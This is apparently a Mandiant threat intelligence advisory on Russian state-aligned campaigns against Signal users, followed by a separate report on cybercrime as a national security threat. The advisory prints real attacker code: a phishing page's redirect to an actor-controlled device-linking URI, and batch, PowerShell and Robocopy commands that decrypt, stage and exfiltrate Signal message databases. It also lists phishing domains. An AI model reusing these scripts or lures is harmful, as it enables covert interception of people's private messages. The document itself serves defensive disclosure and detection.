Mandiant Threat Intelligence

Written by: Dan Black

Google Threat Intelligence Group (GTIG) has observed increasing efforts from several Russia state-aligned threat actors to compromise Signal Messenger accounts used by individuals of interest to Russia's intelligence services. While this emerging operational interest has likely been sparked by wartime demands to gain access to sensitive government and military communications in the context of Russia's re-invasion of Ukraine, we anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war.

Signal's popularity among common targets of surveillance and espionage activity—such as military personnel, politicians, journalists, activists, and other at-risk communities—has positioned the secure messaging application as a high-value target for adversaries seeking to intercept sensitive information that could fulfil a range of different intelligence requirements. More broadly, this threat also extends to other popular messaging applications such as WhatsApp and Telegram, which are also being actively targeted by Russian-aligned threat groups using similar techniques. In anticipation of a wider adoption of similar tradecraft by other threat actors, we are issuing a public warning regarding the tactics and methods used to date to help build public awareness and help communities better safeguard themselves from similar threats.

We are grateful to the team at Signal for their close partnership in investigating this activity. The latest Signal releases on Android and iOS contain hardened features designed to help protect against similar phishing campaigns in the future. Update to the latest version to enable these features.

Phishing Campaigns Abusing Signal's "Linked Devices" Feature

The most novel and widely used technique underpinning Russian-aligned attempts to compromise Signal accounts is the abuse of the app's legitimate "linked devices" feature that enables Signal to be used on multiple devices concurrently. Because linking an additional device typically requires scanning a quick-response (QR) code, threat actors have resorted to crafting malicious QR codes that, when scanned, will link a victim's account to an actor-controlled Signal instance. If successful, future messages will be delivered synchronously to both the victim and the threat actor in real-time, providing a persistent means to eavesdrop on the victim's secure conversations without the need for full-device compromise.

• In remote phishing operations observed to date, malicious QR codes have frequently been masked as legitimate Signal resources, such as group invites, security alerts, or as legitimate device pairing instructions from the Signal website.

• In more tailored remote phishing operations, malicious device-linking QR codes have been embedded in phishing pages crafted to appear as specialized applications used by the Ukrainian military.

• Beyond remote phishing and malware delivery operations, we have also seen malicious QR codes being used in close-access operations. APT44 (aka Sandworm or Seashell Blizzard, a threat actor attributed by multiple governments to the Main Centre for Special Technologies (GTsST) within Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GU), known commonly as the GRU) has worked to enable forward-deployed Russian military forces to link Signal accounts on devices captured on the battlefield back to actor-controlled infrastructure for follow-on exploitation.

Notably, this device-linking concept of operations has proven to be a low-signature form of initial access due to the lack of centralized, technology-driven detections and defenses that can be used to monitor for account compromise via newly linked devices; when successful, there is a high risk that a compromise can go unnoticed for extended periods of time.

UNC5792: Modified Signal Group Invites

To compromise Signal accounts using the device-linking feature, one suspected Russian espionage cluster tracked as UNC5792 (which partially overlaps with CERT-UA's UAC-0195) has altered legitimate "group invite" pages for delivery in phishing campaigns, replacing the expected redirection to a Signal group with a redirection to a malicious URL crafted to link an actor-controlled device to the victim's Signal account.

• In these operations, UNC5792 has hosted modified Signal group invitations on actor-controlled infrastructure designed to appear identical to a legitimate Signal group invite.

• In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792.

Figure 1: Example modified Signal group invite hosted on UNC5792-controlled domain "signal-groups[.]tech"

function doRedirect() { if (window.location.hash) { var redirect = "sgnl://signal.group/" + window.location.hash document.getElementById('go-to-group').href = redirect window.location = redirect } else { document.getElementById('join-button').innerHTML = "No group found." window.onload = doRedirect

Figure 2: Typical legitimate group invite code for redirection to a Signal group

function doRedirect() { var redirect = 'sgnl://linkdevice uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B' //redirect=encodeURIComponent(redirect) document.getElementById('go-to-group').href = redirect window.location = redirect window.onload = doRedirect

Figure 3: Example of UNC5792 modified redirect code used to link the victim's device to an actor-controlled Signal instance

UNC4221: Custom-Developed Signal Phishing Kit

UNC4221 (tracked by CERT-UA as UAC-0185) is an additional Russia-linked threat actor who has actively targeted Signal accounts used by Ukrainian military personnel. The group operates a tailored Signal phishing kit designed to mimic components of the Kropyva application used by the Armed Forces of Ukraine for artillery guidance. Similar to the social engineering approach used by UNC5792, UNC4221 has also attempted to mask its device-linking functionality as an invite to a Signal group from a trusted contact. Different variations of this phishing kit have been observed, including:

• Phishing websites that redirect victims to secondary phishing infrastructure masquerading as legitimate device-linking instructions provisioned by Signal (Figure 4)

• Phishing websites with the malicious device-linking QR code directly embedded into the primary Kropyva-themed phishing kit (Figure 5)

• In earlier operations in 2022, UNC4221 phishing pages were crafted to appear as a legitimate security alert from Signal (Figure 6)

Figure 4: Malicious device-linking QR code hosted on UNC4221-controlled domain "signal-confirm[.]site"

Figure 5: UNC4221 phishing page mimicking the networking component of Kropyva hosted at "teneta.add-group[.]site". The page invites the user to "Sign in to Signal" (Ukrainian: "Авторизуватись у Signal"), which in turn displays a QR code linked to an UNC4221-controlled Signal instance.

Figure 6: Phishing page crafted to appear as a Signal security alert hosted on UNC4221-controlled domain signal-protect[.]host

Notably, as a core component of its Signal targeting, UNC4221 has also used a lightweight JavaScript payload tracked as PINPOINT to collect basic user information and geolocation data using the browser's GeoLocation API. In general, we expect to see secure messages and location data to frequently feature as joint targets in future operations of this nature, particularly in the context of targeted surveillance operations or support to conventional military operations.

Wider Russian and Belarusian Efforts to Steal Messages From Signal

Beyond targeted efforts to link additional actor-controlled devices to victim Signal accounts, multiple known and established regional threat actors have also been observed operating capabilities designed to steal Signal database files from Android and Windows devices.

• APT44 has been observed operating WAVESIGN, a lightweight Windows Batch script, to periodically query Signal messages from a victim's Signal database and exfiltrate those most recent messages using Rclone (Figure 7).

• As reported in 2023 by the Security Service of Ukraine (SSU) and the UK's National Cyber Security Centre (NCSC), the Android malware tracked as Infamous Chisel and attributed by the respective organizations to Sandworm, is designed to recursively search for a list of file extensions including the local database for a series of messaging applications, including Signal, on Android devices.

• Turla, a Russian threat actor attributed by the United States and United Kingdom to Center 16 of the Federal Security Service (FSB) of the Russian Federation, has also operated a lightweight PowerShell script in post-compromise contexts to stage Signal Desktop messages for exfiltration (Figure 8).

• Extending beyond Russia, Belarus-linked UNC1151 has used the command-line utility Robocopy to stage the contents of file directories used by Signal Desktop to store messages and attachments for later exfiltration (Figure 9).

if %proflag%==1 ( C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig del C:\ProgramData\Signal\Storage\Signal\log* rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql ) ELSE ( C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name% del /s %old_dec% %new_dec% rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp" )

Figure 7: Code snippet from WAVESIGN used by APT44 to exfiltrate Signal messages

$TempPath = $env:tmp $TempPath = $env:temp $ComputerName = $env:computername $DFSRoot = "\\redacted" $RRoot = $DFSRoot + "resource\" $frand = Get-Random -Minimum 1 -Maximum 10000 Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append $file1 = $ComputerName + "_" + $frand + "sig.zip" $zipfile = $TempPath + "\" + $file1 $resfile = $RRoot + $file1 Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile Copy-Item -Path $zipfile -Destination $resfile -Force Remove-Item -Path $zipfile -Force

Figure 8: PowerShell script used by Turla to exfiltrate Signal messages

C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy "%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S

Figure 9: Robocopy command used by UNC1151 to stage Signal file directories for exfiltration

Outlook and Implications

The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term. When placed in a wider context with other trends in the threat landscape, such as the growing commercial spyware industry and the surge of mobile malware variants being leveraged in active conflict zones, there appears to be a clear and growing demand for offensive cyber capabilities that can be used to monitor the sensitive communications of individuals who rely on secure messaging applications to safeguard their online activity.

As reflected in wide ranging efforts to compromise Signal accounts, this threat to secure messaging applications is not limited to remote cyber operations such as phishing and malware delivery, but also critically includes close-access operations where a threat actor can secure brief access to a target's unlocked device. Equally important, this threat is not only limited to Signal, but also extends to other widely used messaging platforms, including WhatsApp and Telegram, which have likewise factored into the targeting priorities of several of the aforementioned Russia-aligned groups in recent months. For an example of this wider targeting interest, see Microsoft Threat Intelligence's recent blog post on a COLDRIVER (aka UNC4057 and Star Blizzard) campaign attempting to abuse the linked device feature to compromise WhatsApp accounts.  

Potential targets of government-backed intrusion activity targeting their personal devices should adopt practices to help safeguard themselves, including:

• Enable screen lock on all mobile devices using a long, complex password with a mix of uppercase and lowercase letters, numbers, and symbols. Android supports alphanumeric passwords, which offer significantly more security than numeric-only PINs or patterns.

• Install operating system updates as soon as possible and always use the latest version of Signal and other messaging apps.

• Ensure Google Play Protect is enabled, which is on by default on Android devices with Google Play Services. Google Play Protect checks your apps and devices for harmful behavior and can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play.

• Audit linked devices regularly for unauthorized devices by navigating to the "Linked devices" section in the application's settings.

• Exercise caution when interacting with QR codes and web resources purporting to be software updates, group invites, or other notifications that appear legitimate and urge immediate action.

• If available, use two-factor authentication such as fingerprint, facial recognition, a security key, or a one-time code to verify when your account is logged into or linked to a new device.

• iPhone users concerned about targeted surveillance or espionage activity should consider enabling Lockdown Mode to reduce their attack surface.

aside_block

<ListValue: [StructValue([('title', 'More insights on this threat activity'), ('body', <wagtail.rich_text.RichText object at 0x3e88897e11c0>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/3reADyxut9u4ueSPlCma8I'), ('image', <GAEImage: Defender's Advantage podcast>)])]>

Indicators of Compromise

To assist organizations hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

See Table 1 for a sample of relevant indicators of compromise.

Actor

Indicator of Compromise

Context 

UNC5792

e078778b62796bab2d7ab2b04d6b01bf

Example of altered group invite HTML code 

add-signal-group[.]com

add-signal-groups[.]com

group-signal[.]com

groups-signal[.]site

signal-device-off[.]online

signal-group-add[.]com

signal-group[.]site

signal-group[.]tech

signal-groups-add[.]com

signal-groups[.]site

signal-groups[.]tech

signal-security[.]online

signal-security[.]site

signalgroup[.]site

signals-group[.]com

Fake group invite phishing pages

UNC4221

signal-confirm[.]site

confirm-signal[.]site

Device-linking instructions phishing page

signal-protect[.]host

Fake Signal security alert 

teneta.join-group[.]online

teneta.add-group[.]site

group-teneta[.]online

helperanalytics[.]ru

group-teneta[.]online

teneta[.]group

group.kropyva[.]site

Fake Kropyva group invites 

APT44

150.107.31[.]194:18000

Dynamically generated device-linking QR code provisioned by APT44

a97a28276e4f88134561d938f60db495

b379d8f583112cad3cf60f95ab3a67fd

b27ff24870d93d651ee1d8e06276fa98

WAVESIGN batch scripts 

Table 1: Relevant indicators of compromise

See Table 2 for a summary of the different actors, tactics, and techniques used by Russia and Belarus state-aligned threat actors to target Signal messages.

Threat Actor 

Tactic 

Technique

UNC5792

Linked device

Remote phishing operations using fake group invites to pair a victim's Signal messages to an actor-controlled device

UNC4221

Linked device

Remote phishing operations using fake military web applications and security alerts to pair a victim's Signal messages to an actor-controlled device

APT44

Linked device

Close-access physical device exploitation to pair a victim's Signal messages to an actor-controlled device

Signal Android database theft

Android malware (Infamous Chisel) tailored to exfiltrate Signal database files

Signal Desktop database theft 

Windows Batch script tailored to periodically exfiltrate recent Signal messages via Rclone

Turla

Signal Desktop database theft 

Post-compromise activity in Windows environments

UNC1151

Signal Desktop database theft 

Use of Robocopy to stage Signal Desktop file directories for exfiltration

Table 2: Summary of observed threat activity targeting Signal messages

Executive Summary

Cybercrime makes up a majority of the malicious activity online and occupies the majority of defenders' resources. In 2024, Mandiant Consulting responded to almost four times more intrusions conducted by financially motivated actors than state-backed intrusions. Despite this overwhelming volume, cybercrime receives much less attention from national security practitioners than the threat from state-backed groups. While the threat from state-backed hacking is rightly understood to be severe, it should not be evaluated in isolation from financially motivated intrusions. 

A hospital disrupted by a state-backed group using a wiper and a hospital disrupted by a financially motivated group using ransomware have the same impact on patient care. Likewise, sensitive data stolen from an organization and posted on a data leak site can be exploited by an adversary in the same way data exfiltrated in an espionage operation can be. These examples are particularly salient today, as criminals increasingly target and leak data from hospitals. Healthcare's share of posts on data leak sites has doubled over the past three years, even as the number of data leak sites tracked by Google Threat Intelligence Group has increased by nearly 50% year over year. The impact of these attacks mean that they must be taken seriously as a national security threat, no matter the motivation of the actors behind it.

Cybercrime also facilitates state-backed hacking by allowing states to purchase cyber capabilities, or co-opt criminals to conduct state-directed operations to steal data or engage in disruption. Russia has drawn on criminal capabilities to fuel the cyber support to their war in Ukraine. GRU-linked APT44 (aka Sandworm), a unit of Russian military intelligence, has employed malware available from cybercrime communities to conduct espionage and disruptive operations in Ukraine and CIGAR (aka RomCom), a group that historically focused on cybercrime, has conducted espionage operations against the Ukrainian government since 2022. However, this is not limited to Russia. Iranian threat groups deploy ransomware to raise funds while simultaneously conducting espionage, and Chinese espionage groups often supplement their income with cybercrime. Most notably, North Korea uses state-backed groups to directly generate revenue for the regime. North Korea has heavily targeted cryptocurrencies, compromising exchanges and individual victims’ crypto wallets. 

Despite the overlaps in effects and collaboration with states, tackling the root causes of cybercrime requires fundamentally different solutions. Cybercrime involves collaboration between disparate groups often across borders and without respect to sovereignty. Any solution requires international cooperation by both law enforcement and intelligence agencies to track, arrest, and prosecute these criminals. Individual takedowns can have important temporary effects, but the collaborative nature of cybercrime means that the disrupted group will be quickly replaced by others offering the same service. Achieving broader success will require collaboration between countries and public and private sectors on systemic solutions such as increasing education and resilience efforts.

aside_block

<ListValue: [StructValue([('title', 'Cybercrime: A Multifaceted National Security Threat'), ('body', <wagtail.rich_text.RichText object at 0x3e888a3d9ca0>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/cybercrime-multifaceted-national-security-threat.pdf'), ('image', <GAEImage: cybercrime-cover>)])]>

Stand-Alone Cybercrime is a Threat to Countries' National Security

Financially motivated cyber intrusions, even those without any ties to state goals, harm national security. A single incident can be impactful enough on its own to have a severe consequence on the victim and disrupt citizens' access to critical goods and services. The enormous volume of financially motivated intrusions occurring every day also has a cumulative impact, hurting national economic competitiveness and placing huge strain on cyber defenders, leading to decreased readiness and burnout.

A Single Financially-Motivated Operation Can Have Severe Effects

Cybercrime, particularly ransomware attacks, are a serious threat to critical infrastructure. Disruptions to energy infrastructure, such as the 2021 Colonial Pipeline attack, a 2022 incident at the Amsterdam-Rotterdam-Antwerp refining hub, and the 2023 attack on Petro-Canada, have disrupted citizens' ability to access vital goods. While the impacts in these cases were temporary and recoverable, a ransomware attack during a weather emergency or other acute situation could have devastating consequences.

Beyond energy, the ransomware attacks on the healthcare sector have had the most severe consequences on everyday people. At the height of the pandemic in early 2020, it appeared that ransomware groups might steer clear of hospitals, with multiple groups making statements to that effect, but the forbearance did not hold. Healthcare organizations' critical missions and the high impact of disruptions have led them to be perceived as more likely to pay a ransom and led some groups to increase their focus on targeting healthcare. The healthcare industry, especially hospitals, almost certainly continues to be a lucrative target for ransomware operators given the sensitivity of patient data and the criticality of the services that it provides.

Since 2022, Google Threat Intelligence Group (GTIG) has observed a notable increase in the number of data leak site (DLS) victims from within the hospital subsector. Data leak sites, which are used to release victim data following data theft extortion incidents, are intended to pressure victims to pay a ransom demand or give threat actors additional leverage during ransom negotiations. 

• In July 2024, the Qilin (aka "AGENDA") DLS announced upcoming attacks targeting US healthcare organizations. They followed through with this threat by adding a regional medical center to their list of claimed victims on the DLS the following week, and adding multiple healthcare and dental clinics in August 2024. The ransomware operators have purportedly stated that they focus their targeting on sectors that pay well, and one of those sectors is healthcare.

• In March 2024, the RAMP forum actor "badbone," who has been associated with INC ransomware, sought illicit access to Dutch and French medical, government, and educational organizations, stating that they were willing to pay 2–5% more for hospitals, particularly ones with emergency services.

Studies from academics and internal hospital reviews have shown that the disruptions from ransomware attacks go beyond inconvenience and have led to life-threatening consequences for patients. Disruptions can impact not just individual hospitals but also the broader healthcare supply chain. Cyberattacks on companies that manufacture critical medications and life-saving therapies can have far-reaching consequences worldwide. 

• A recent study from researchers at the University of Minnesota - Twin Cities School of Public Health showed that among patients already admitted to a hospital when a ransomware attack takes place, "in-hospital mortality increases by 35 - 41%."

• Public reporting stated that UK National Health Service data showed a June 2024 ransomware incident at a contractor led to multiple cases of "long-term or permanent impact on physical, mental or social function or shortening of life-expectancy," with more numerous cases of less severe effects.

Ransomware operators are aware that their attacks on hospitals will have severe consequences and will likely increase government attention on them. Although some have devised strategies to mitigate the blowback from these operations, the potential monetary rewards associated with targeting hospitals continue to drive attacks on the healthcare sector.

• The actor "FireWalker," who has recruited partners for REDBIKE (aka Akira) ransomware operations, indicated a willingness to accept access to government and medical targets, but in those cases a different ransomware called "FOULFOG" would be used.

• Leaked private communications broadly referred to as the "ContiLeaks" reveal that the actors expected their plan to target the US healthcare system in the fall of 2020 to cause alarm, with one actor stating "there will be panic."

Economic Disruption

On May 8, 2022, Costa Rican President Rodrigo Chaves declared a national emergency caused by CONTI ransomware attacks against several Costa Rican government agencies the month prior. These intrusions caused widespread disruptions in government medical, tax, pension, and customs systems. With imports and exports halted, ports were overwhelmed, and the country reportedly experienced millions of dollars of losses. The remediation costs extended beyond Costa Rica; Spain supported the immediate response efforts, and in 2023, the US announced $25 million USD in cybersecurity aid to Costa Rica. 

While the Costa Rica incident was exceptional, responding to a cybercrime incident can involve significant expenses for the affected entity, such as paying multi-million dollar ransom demands, loss of income due to system downtime, providing credit monitoring services to impacted clients, and paying remediation costs and fines. In just one example, a US healthcare organization reported $872 million USD in "unfavorable cyberattack effects" after a disruptive incident. In the most extreme cases, these costs can contribute to organizations ceasing operations or declaring bankruptcy. 

In addition to the direct impacts to individual organizations, financial impacts often extend to taxpayers and can have significant impacts on the national economy due to follow-on effects of the disruptions. The US Federal Bureau of Investigation's Internet Crime Complaint Center (IC3) has indicated that between October 2013 and December 2023, business email compromise (BEC) operations alone led to $55 billion USD in losses. The cumulative effect of these cybercrime incidents can have an impact on a country's economic competitiveness. This can be particularly severe for smaller or developing countries, especially those with a less diverse economy.

Data Leak Sites Add Additional Threats

In addition to deploying ransomware to interfere with business operations, criminal groups have added the threat of leaking data stolen from victims to bolster their extortion operations. This now standard tactic has increased the volume of sensitive data being posted by criminals and created an opportunity for it to be obtained and exploited by state intelligence agencies. 

Threat actors post proprietary company data—including research and product designs—on data leak sites where they are accessible to the victims' competitors. GTIG has previously observed threat actors sharing tips for targeting valuable data for extortion operations. In our research, GTIG identified Conti "case instructions" indicating that actors should prioritize certain types of data to use as leverage in negotiations, including files containing confidential information, document scans, HR documents, company projects, and information protected by the General Data Protection Regulation (GDPR).

The number of data leak sites has proliferated, with the number of sites tracked by GTIG almost doubling since 2022. Leaks of confidential business and personal information by extortion groups can cause embarrassment and legal consequences for the affected organization, but they also pose national security threats. If a company's confidential intellectual property is leaked, it can undermine the firm's competitive position in the market and undermine the host country's economic competitiveness. The wide-scale leaking of personally identifiable information (PII) also creates an opportunity for foreign governments to collect this information to facilitate surveillance and tracking of a country's citizens.

Cybercrime Directly Supporting State Activity

Since the earliest computer network intrusions, financially motivated actors have conducted operations for the benefit of hostile governments. While this pattern has been consistent, the heightened level of cyber activity following Russia's war in Ukraine has shown that, in times of heightened need, the latent talent pool of cybercriminals can be paid or coerced to support state goals. Operations carried out in support of the state, but by criminal actors, have numerous benefits for their sponsors, including a lower cost and increased deniability. As the volume of financially motivated activity increases, the potential danger it presents does as well.

States as a Customer in Cybercrime Ecosystems

Modern cybercriminals are likely to specialize in a particular area of cybercrime and partner with other entities with diverse specializations to conduct operations. The specialization of cybercrime capabilities presents an opportunity for state-backed groups to simply show up as another customer for a group that normally sells to other criminals. Purchasing malware, credentials, or other key resources from illicit forums can be cheaper for state-backed groups than developing them in-house, while also providing some ability to blend in to financially motivated operations and attract less notice.

Russian State Increasingly Leveraging Malware, Tooling Sourced from Crime Marketplaces

Google assesses that resource constraints and operational demands have contributed to Russian cyber espionage groups' increasing use of free or publicly available malware and tooling, including those commonly employed by criminal actors to conduct their operations. Following Russia's full-scale invasion of Ukraine, GTIG has observed groups suspected to be affiliated with Russian military intelligence services adopt this type of "low-equity" approach to managing their arsenal of malware, utilities, and infrastructure. The tools procured from financially motivated actors are more widespread and lower cost than those developed by the government. This means that if an operation using this malware is discovered, the cost of developing a new tool will not be borne by the intelligence agency; additionally, the use of such tools may assist in complicating attribution efforts. Notably, multiple threat clusters with links to Russian military intelligence have leveraged disruptive malware adapted from existing ransomware variants to target Ukrainian entities. 

APT44 (Sandworm, FROZENBARENTS)

APT44, a threat group sponsored by Russian military intelligence, almost certainly relies on a diverse set of Russian companies and criminal marketplaces to source and sustain its more frequently operated offensive capabilities. The group has used criminally sourced tools and infrastructure as a source of disposable capabilities that can be operationalized on short notice without immediate links to its past operations. Since Russia's full-scale invasion of Ukraine, APT44 has increased its use of such tooling, including malware such as DARKCRYSTALRAT (DCRAT), WARZONE, and RADTHIEF ("Rhadamanthys Stealer"), and bulletproof hosting infrastructure such as that provided by the Russian-speaking actor "yalishanda," who advertises in cybercriminal underground communities.

• APT44 campaigns in 2022 and 2023 deployed RADTHIEF against victims in Ukraine and Poland. In one campaign, spear-phishing emails targeted a Ukrainian drone manufacturer and leveraged SMOKELOADER, a publicly available downloader popularized in a Russian-language underground forum that is still frequently used in criminal operations, to load RADTHIEF. 

• APT44 also has a history of deploying disruptive malware built upon known ransomware variants. In October 2022, a cluster we assessed with moderate confidence to be APT44 deployed PRESSTEA (aka Prestige) ransomware against logistics entities in Poland and Ukraine, a rare instance in which APT44 deployed disruptive capabilities against a NATO country. In June 2017, the group conducted an attack leveraging ETERNALPETYA (aka NotPetya), a wiper disguised as ransomware, timed to coincide with Ukraine's Constitution Day marking its independence from Russia. Nearly two years earlier, in late 2015, the group used a modified BLACKENERGY variant to disrupt the Ukrainian power grid. BLACKENERGY originally emerged as a distributed denial-of-service (DDoS) tool, with later versions sold in criminal marketplaces.

UNC2589 (FROZENVISTA)

UNC2589, a threat cluster whose activity has been publicly attributed to the Russian General Staff Main Intelligence Directorate (GRU)'s 161st Specialist Training Center (Unit 29155), has conducted full-spectrum cyber operations, including destructive attacks, against Ukraine. The actor is known to rely on non-military elements including cybercriminals and private-sector organizations to enable their operations, and GTIG has observed the use of a variety of malware-as-a-service tools that are prominently sold in Russian-speaking cybercrime communities.

In January 2022, a month prior to the invasion, UNC2589 deployed PAYWIPE (also known as WHISPERGATE) and SHADYLOOK wipers against Ukrainian government entities in what may have been a preliminary strike, using the GOOSECHASE downloader and FINETIDE dropper to drop and execute SHADYLOOK on the target machine. US Department of Justice indictments identified a Russian civilian, who GTIG assesses was a likely criminal contractor, as managing the digital environments used to stage the payloads used in the attacks. Additionally, CERT-UA corroborated GTIG's findings of strong similarities between SHADYLOOK and WhiteBlackCrypt ransomware (also tracked as WARYLOOK). GOOSECHASE and FINETIDE are also publicly available for purchase on underground forums.

Turla (SUMMIT)

In September 2022, GTIG identified an operation leveraging a legacy ANDROMEDA infection to gain initial access to selective targets conducted by Turla, a cyber espionage group we assess to be sponsored by Russia's Federal Security Service (FSB). Turla re-registered expired command-and-control (C&C or C2) domains previously used by ANDROMEDA, a common commodity malware that was widespread in the early 2010s, to profile victims; it then selectively deployed KOPILUWAK and QUIETCANARY to targets in Ukraine. The ANDROMEDA backdoor whose C2 was hijacked by Turla was first uploaded to VirusTotal in 2013 and spreads from infected USB keys. 

While GTIG has continued to observe ANDROMEDA infections across a wide variety of victims, GTIG has only observed suspected Turla payloads delivered in Ukraine. However, Turla's tactic of piggybacking on widely distributed, financially motivated malware to enable follow-on compromises is one that can be used against a wide range of organizations. Additionally, the use of older malware and infrastructure may cause such a threat to be overlooked by defenders triaging a wide variety of alerts.

In December 2024, Microsoft reported on the use of Amadey bot malware related to cyber criminal activity to target Ukrainian military entities by Secret Blizzard, an actor that aligns approximately with what we track as Turla. While we are unable to confirm this activity, Microsoft's findings suggest that Turla has continued to leverage the tactic of using cybercrime malware.

APT29 (ICECAP)

In late 2021, GTIG reported on a campaign conducted by APT29, a threat group assessed to be sponsored by the Russian Foreign Intelligence Service (SVR), in which operators used credentials likely procured from an infostealer malware campaign conducted by a third-party actor to gain initial access to European entities. Infostealers are a broad classification of malware that have the capability or primary goal of collecting and stealing a range of sensitive user information such as credentials, browser data and cookies, email data, and cryptocurrency wallets.An analysis of workstations belonging to the target revealed that some systems had been infected with the CRYPTBOT infostealer shortly before a stolen session token used to gain access to the targets' Microsoft 365 environment was generated.

An example of the sale of government credentials on an underground forum

Use of Cybercrime Tools by Iran and China 

While Russia is the country that has most frequently been identified drawing on resources from criminal forums, they are not the only ones. For instance, in May 2024, GTIG identified a suspected Iranian group, UNC5203, using the aforementioned RADTHIEF backdoor in an operation using themes associated with the Israeli nuclear research industry.

In multiple investigations, the Chinese espionage operator UNC2286 was observed ostensibly carrying out extortion operations, including using STEAMTRAIN ransomware, possibly to mask its activities. The ransomware dropped a JPG file named "Read Me.jpg" that largely copies the ransomware note delivered with DARKSIDE. However, no links have been established with the DARKSIDE ransomware-as-a-service (RaaS), suggesting the similarities are largely superficial and intended to lend credibility to the extortion attempt. Deliberately mixing ransomware activities with espionage intrusions supports the Chinese Government's public efforts to confound attribution by conflating cyber espionage activity and ransomware operations.

Criminals Supporting State Goals

In addition to purchasing tools for state-backed intrusion groups to use, countries can directly hire or co-opt financially motivated attackers to conduct espionage and attack missions on behalf of the state. Russia, in particular, has leveraged cybercriminals for state operations.

Current and Former Russian Cybercriminal Actors Engage in Targeted Activity Supporting State Objectives

Russian intelligence services have increasingly leveraged pre-existing or new relationships with cybercriminal groups to advance national objectives and augment intelligence collection. They have done so in particular since the beginning of Russia's full-scale invasion of Ukraine. GTIG judges that this is a combination of new efforts by the Russian state and the continuation of ongoing efforts for other financially motivated, Russia-based threat actors that had relationships with the Russian intelligence services that predated the invasion. In at least some cases, current and former members of Russian cybercriminal groups have carried out intrusion activity likely in support of state objectives. 

CIGAR (UNC4895, RomCom)

CIGAR (also tracked as UNC4895 and publicly reported as RomCom) is a dual financial and espionage-motivated threat group. Active since at least 2019, the group historically conducted financially motivated operations before expanding into espionage activity that GTIG judges fulfills espionage requirements in support of Russian national interests following the start of Russia's full-scale invasion of Ukraine. CIGAR's ongoing engagement in both types of activity differentiates the group from threat actors like APT44 or UNC2589, which leverage cybercrime actors and tooling toward state objectives. While the precise nature of the relationship between CIGAR and the Russian state is unclear, the group's high operational tempo, constant evolution of its malware arsenal and delivery methods, and its access to and exploitation of multiple zero-day vulnerabilities suggest a level of sophistication and resourcefulness unusual for a typical cybercrime actor. 

Targeted intrusion activity from CIGAR dates back to late 2022, targeting Ukrainian military and government entities. In October 2022, CERT-UA reported on a phishing campaign that distributed emails allegedly on behalf of the Press Service of the General Staff of the Armed Forces of Ukraine, which led to the deployment of the group's signature RomCom malware. Two months later, in December 2022, CERT-UA highlighted a RomCom operation targeting users of DELTA, a situational awareness and battlefield management system used by the Ukrainian military.

CIGAR activity in 2023 and 2024 included the leveraging of zero-day vulnerabilities to conduct intrusion activity. In late June 2023, a phishing operation targeting European government and military entities used lures related to the Ukrainian World Congress, a nonprofit involved in advocacy for Ukrainian interests, and a then-upcoming NATO summit, to deploy the MAGICSPELL downloader, which exploited CVE-2023-36884 as a zero-day in Microsoft Word. In 2024, the group was reported to exploit the Firefox vulnerability CVE-2024-9680, chained together with the Windows vulnerability CVE-2024-49039, to deploy RomCom. 

CONTI

At the outset of Russia's full-scale invasion of Ukraine, the CONTI ransomware group publicly announced its support for the Russian government, and subsequent leaks of server logs allegedly containing chat messages from members of the group revealed that at least some individuals were interested in conducting targeted attacks,and may have been taking targeting directions from a third party. GTIG further assessed that former CONTI members comprise part of an initial access broker group conducting targeted attacks against Ukraine tracked by CERT-UA as UAC-0098. 

